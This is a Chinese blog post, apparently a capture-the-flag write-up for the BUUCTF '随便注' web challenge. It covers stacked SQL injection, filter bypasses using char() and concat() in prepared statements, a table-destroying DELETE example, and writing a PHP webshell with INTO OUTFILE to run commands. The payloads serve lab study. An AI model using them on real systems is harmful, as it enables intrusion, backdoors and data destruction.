




mysql解题思路_BUUCTF-Web-随便注(三种解题思路)

原创

小丸  于 2021-01-28 07:10:30 发布  72  收藏

文章标签: [mysql解题思路](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/weixin_34177886/article/details/113465002

版权

知识点: SQL注入-堆叠注入,sql预处理语句,巧用contact()函数绕过

堆叠注入原理:

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在分号(;)结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。

用户输入: 1; DELETE FROM products

服务器端生成的sql语句为: (因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products

当执行查询后,第一条显示查询信息,第二条则将整个表进行删除

方法一: 重命名+堆叠注入

打开题目,显示如下界面,观察后猜测是sql注入

image

0x01:判断是否存在注入,注入是字符型还是数字型

输入1'发现不回显

输入1'#显示正常

应该是存在sql注入了

输入1' or '1'='1,正常回显,应该是字符型

image

0x02:猜解SQL查询语句中的字段数

输入1' order by 1 # 成功回显

image

输入1' order by 2 # 成功回显

image

输入1' order by 3 # 回显错误

[图片上传失败...(image-2ea278-1567002658869)]

所以只有两个字段

0x03:显示字段

输入1' union select 1,2 # 回显一个正则过滤规则

image

过滤了 select, update, delete, drop, insert, where 和点

过滤了这么多词, 是不是有堆叠注入? 尝试堆叠注入

0x04: 查询数据库

输入1';show databases;# 成功回显

image

说明存在堆叠注入

0x05: 查询表

输入1';show tables;# 成功回显

image

得到两个表words和1919810931114514

0x06: 查询表中字段

坑点: mysql中单引号(')和反勾号(`)的区别

linux下不区分, windows下区分

区别:

单引号(')或双引号主要用于字符串的引用符号

eg: mysql> SELECT 'hello', "hello";

反勾号(`)主要用于数据库、表、索引、列和别名用的引用符是[Esc下面的键]

eg:`mysql>SELECT * FROM `table` WHERE `from` = 'abc';

输入1'; show columns from `words`; # 字段使用的是反勾号(`)

image

输入1'; show columns from `1919810931114514`; # 字段使用的是反勾号(` `)

image

可以看到1919810931114514中有我们想要的flag字段

现在常规方法基本就结束了，要想获得flag就必须来点骚姿势了

因为这里有两张表，回显内容肯定是从word这张表中回显的，那我们怎么才能让它回显flag所在的表呢

内部查询语句类似 :select id, data from word where id =

他既然没过滤 alert 和 rename，那么我们是不是可以把表改个名字，再给列改个名字呢。

先把 words 改名为 words1，再把这个数字表改名为 words，然后把新的 words 里的 flag 列改为 id (避免一开始无法查询)。

payload:

```
1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;#
```

image

接着输入1' or '1'='1 #,查询就得到flag

image

方法二：预处理语句+堆叠注入

预处理语句使用方式：

```
PREPARE name from '[my sql sequece]'; //预定义SQL语句
```

```
EXECUTE name; //执行预定义SQL语句
```

```
(DEALLOCATE || DROP) PREPARE name; //删除预定义SQL语句
```

预定义语句也可以通过变量进行传递：

```
SET @tn = 'hahaha'; //存储表名
```

```
SET @sql = concat('select * from ', @tn); //存储SQL语句
```

```
PREPARE name from @sql; //预定义SQL语句
```

```
EXECUTE name; //执行预定义SQL语句
```

```
(DEALLOCATE || DROP) PREPARE sqla; //删除预定义SQL语句
```

本题即可利用char()方法将ASCII码转换为SELECT字符串，接着利用concat()方法进行拼接获得查询的SQL语句，来绕过过滤或者直接使用concat()方法绕过

char()根据ASCII表返回给定整数值的字符值

eg:

```
mysql> SELECT CHAR(77,121,83,81,'76');
```

-> 'MySQL'

concat()函数用于将多个字符串连接成一个字符串

contact (str1,str2,...)

eg:

```
mysql> SELECT CONCAT('My', 'S', 'QL');
```

-> 'MySQL'

```
char(115,101,108,101,99,116)'select'
```

payload1: 不使用变量

```
1';PREPARE jwt from concat(char(115,101,108,101,99,116), '* from `1919810931114514` ');EXECUTE jwt;#
```

输入payload1直接得到flag

image

payload2: 使用变量

```
1';SET @sql=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');PREPARE jwt from @sql;EXECUTE jwt;#
```

输入payload2直接得到flag

image

payload3: 只是用contact(),不使用char()

```
1';PREPARE jwt from concat('s','elect', '* from `1919810931114514` ');EXECUTE jwt;#
```

image

方法三: 利用命令执行Getflag

查询了一下用户竟然是root

```
1';Set @sql=concat("s","elect user()");PREPARE sqla from @sql;EXECUTE sqla;
```

image

那么写个执行命令的shell吧(绝对路径猜的,一般是服务器网站根目录/var/www/html)

```
1';Set @sql=concat("s","elect '<?php @print_r(`$_GET[1]`);?>' into outfile  
'/var/www/html/1",char(46),"php");PREPARE sqla from @sql;EXECUTE sqla;
```

利用char(46)<==>.从而绕过关键词.过滤

Mysql into outfile语句，可以方便导出表格的数据。同样也可以生成某些文件。因此有些人会利用sql注入生成特定代码的文件，然后执行这些文件。将会造成严重的后果。

Mysql into outfile 生成PHP文件

```
SELECT 0x3C3F7068702073797374656D28245F524551554553545B636D645D293B3F3E into outfile  
'/var/www/html/fuck.php'
```

最后会在/var/www/html/路径下，生成fuck.php文件

这里不走寻常路，执行打算利用我们的shell查询flag(账号密码直接读取首页就可以看到)

利用一句话木马执行任意mysql命令(双引号中的内容会被当做shell命令执行然后结果再传回来执行)

uroot:用户名root proot:密码root

```
/1.php?1=mysql -uroot -proot -e "use supersqli;select flag from `1919810931114514`;"
```



image

参考：

[SQL注入-堆叠注入](#)

[SQL Injection8\(堆叠注入\)——强网杯2019随便注](#)

[\[Writeup\]BUUCTF_Web_随便注](#)

[MySQL的SQL预处理\(Prepared\)](#)

[利用Mysql into outfile给网站留后门](#)

[shell处理mysql增、删、改、查](#)